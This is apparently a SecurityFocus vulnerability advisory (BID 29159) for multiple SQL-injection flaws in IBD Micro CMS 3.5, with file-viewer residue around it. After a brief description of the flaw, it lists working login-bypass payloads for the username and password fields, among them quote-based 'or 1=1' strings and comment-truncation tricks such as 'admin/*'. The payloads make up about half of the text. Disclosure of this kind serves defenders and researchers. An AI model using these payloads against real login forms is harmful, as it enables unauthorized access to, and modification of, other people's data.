16 lines
No EOL
656 B
Text
Executable file
16 lines
No EOL
656 B
Text
Executable file
source: http://www.securityfocus.com/bid/29159/info
|
|
|
|
IBD Micro CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
|
|
|
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
|
|
|
Micro CMS 3.5 is vulnerable; other versions may also be affected.
|
|
|
|
Username: " or "1" = "1
|
|
Password: ") or "1" = "1" or PASSWORD("
|
|
|
|
Username: valid_username/* [eg. admin/*]
|
|
Password: learn3r [or whatever]
|
|
|
|
Or Username: " or 1=1/*
|
|
Password: learn3r [or whatever] |